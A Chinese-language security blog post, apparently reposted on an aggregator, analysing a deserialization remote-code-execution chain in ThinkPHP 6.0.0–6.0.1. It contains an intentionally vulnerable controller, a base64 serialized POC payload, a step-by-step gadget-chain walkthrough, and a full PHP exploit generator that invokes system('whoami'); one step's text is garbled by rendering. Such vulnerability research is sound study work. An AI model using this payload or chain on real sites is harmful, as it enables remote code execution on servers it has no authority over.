当前位置: 代码迷 >> 综合 >> ThinkPHP6.0.1_反序列化漏洞分析
  详细解决方案

ThinkPHP6.0.1_反序列化漏洞分析

热度:52   发布时间:2023-11-26 21:07:50.0

ThinkPHP6.0.1_反序列化漏洞分析

  • ThinkPHP6.0.0-ThinkPHP6.0.1
  • 漏洞代码
    <?php
    namespace app\controller;use app\BaseController;class Index extends BaseController{
          public function index(){
          $data = $_POST['data'];unserialize(base64_decode($data));}
    }
    
  • POC
    /index.php
    POST
    data=TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjg6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6Mjoia3kiO3M6Njoid2hvYW1pIjt9czoxMjoiACoAd2l0aEV2ZW50IjtiOjA7czoxOToiAHRoaW5rXE1vZGVsAGV4aXN0cyI7YjoxO3M6MTg6IgB0aGlua1xNb2RlbABmb3JjZSI7YjoxO3M6NzoiACoAbmFtZSI7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjg6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6Mjoia3kiO3M6Njoid2hvYW1pIjt9czoxMjoiACoAd2l0aEV2ZW50IjtiOjA7czoxOToiAHRoaW5rXE1vZGVsAGV4aXN0cyI7YjoxO3M6MTg6IgB0aGlua1xNb2RlbABmb3JjZSI7YjoxO3M6NzoiACoAbmFtZSI7TjtzOjEwOiIAKgB2aXNpYmxlIjthOjE6e3M6Mjoia3kiO2k6MTt9czoyMToiAHRoaW5rXE1vZGVsAHdpdGhBdHRyIjthOjE6e3M6Mjoia3kiO3M6Njoic3lzdGVtIjt9fXM6MTA6IgAqAHZpc2libGUiO2E6MTp7czoyOiJreSI7aToxO31zOjIxOiIAdGhpbmtcTW9kZWwAd2l0aEF0dHIiO2E6MTp7czoyOiJreSI7czo2OiJzeXN0ZW0iO319
    

漏洞分析

  1. TP5的反序列化链入口都是Windows类的__destruct,但是在TP6中把这个类移除了,那么这里利用的是Model::__destruct方法
    image-20211128235917039
  2. 这里$this->laxySave变量可控,跟进save方法,
    image-20211128235927018
  3. 因为在TP6.0.1中TP5.2.X反序列化链的__toString后面的链是可以利用的,所以这里只需要找到__toString入口即可,网上的大师傅寻找的链是save()->updateData()->checkAllowFields()->db()。先看第一个if条件判断,需要不进入if语句块才能继续往下执行到updateData方法
    image-20211128235936836
  4. 跟进isEmpty方法,$this->data可控
    image-20211128235945391
  5. 跟进trigger方法,$this->withEvent可控
    image-20211128235959640
  6. 回到Model::save方法,因为$this->exists可控,所以可以进入updateData方法
    image-20211129000007810
  7. 跟进方法,trigger方法分析过了,可以不进入这个if语句块,然后$data是根据getChangeData方法获取的
    image-20211129000016107
  8. 跟进getChangeData方法,$this->force$this->data可控,所以$data可控
    image-20211129000024362
  9. 可以进入到checkAllowFields方法
    image-20211129000034681
  10. 跟进checkAllowFields方法,$this->field$this->schema都可以控制,可以进入到db()方法image-20211129000044370
  11. 跟进db方法,这里$this->name$this->suffix可控,可以调用任意类的__toString方法
    image-20211129000058269
  12. 这里要讲一下的是,就是这里db方法进不去,后面也还有一个updateData::db方法可以利用,所以$this->schema是否为空都可以
    image-20211129000110283
  13. 后面就是延续TP5.2.X的__toString之后的链了
    image-20211129000118626
  14. 然后toJson方法,再到toArray方法,接下来的利用思路为toArray()->getAttr()->getValue()$data$this->visible可控,可以进入到getAttr方法
    image-20211129000127312
  15. 前面有对$this->visible进行处理的代码,但是只要$this->visible数组对应的值不是字符串即可绕过处理代码
    image-20211129000134996
  16. 跟进到getAttr方法,$name就是传过来的$key,可控,$value是通过getData方法获得的
    image-20211129000143524
  17. 跟进getData方法
    image-20211129000151873
  18. $fieldName通过getRealFieldName方法获取的,跟进getRealFieldName方法,$this->convertNameToCamel为空,然后$this->strict默认为true,所以相当于返回原值罢了
    image-20211129000202449
  19. 回到getData方法,这个方法其实返回的就是 d a t a 数 组 的 值 罢 了 , 回 到 g e t A t t r 方 法 , 此 时 ‘ data数组的值罢了,回到getAttr方法,此时` datagetAttrname$value`都可控,那么进入getValue方法。这里要说一下的是,下载下来的TP6.0.1在进入动态调用之前有一个if判断,需要手动去掉
    image-20211129000212804
  20. $fieldName通过getRealFieldName方法获取,前面分析过了,其实返回就是原值罢了,然后$this->get可以控制(不设置值即可),所以可以不进入第一个if语句块
    image-20211129000221984
  21. 然后$this->withAttr可控,$relation为false,然后$this->withAttr[$fieldName]可控,可以进入如下语句块
    image-20211129000238465
  22. 这里进行了动态调用,可以利用system方法进行RCE,system方法恰好有两个参数,且这里调用的参数可控

EXP构造

<?php
namespace think{
    abstract class Model{
    private $lazySave;private $data;protected $withEvent;private $exists;private $force;//protected $schema;protected $name;protected $visible;private $withAttr;public function __construct(){
    $this->lazySave = true;$this->withEvent = false;$this->exists = true;$this->force = true;$this->visible = ['ky' => 1];$this->data = ['ky' => 'whoami'];$this->withAttr = ['ky' => 'system'];
// $this->schema = [
// '1' => '1'
// ];}public function setName($name){
    $this->name = $name;}}
}namespace think\model{
    use think\Model;class Pivot extends Model{
    }
}namespace {
    use think\model\Pivot;$a = new Pivot();$b = new Pivot();$a->setName($b);echo base64_encode(serialize($a));
}

写在后面

  • 这条链后面的部分和TP5.2.X的链是一样的,只是前面的不同而已。
  • 今天17号周三了,今天分析了5.0.9的一条SQL注入链和这两条TP6的链,TP的链就先审到这吧,接下来就是把TP专题的ctf题刷一刷,然后审java的链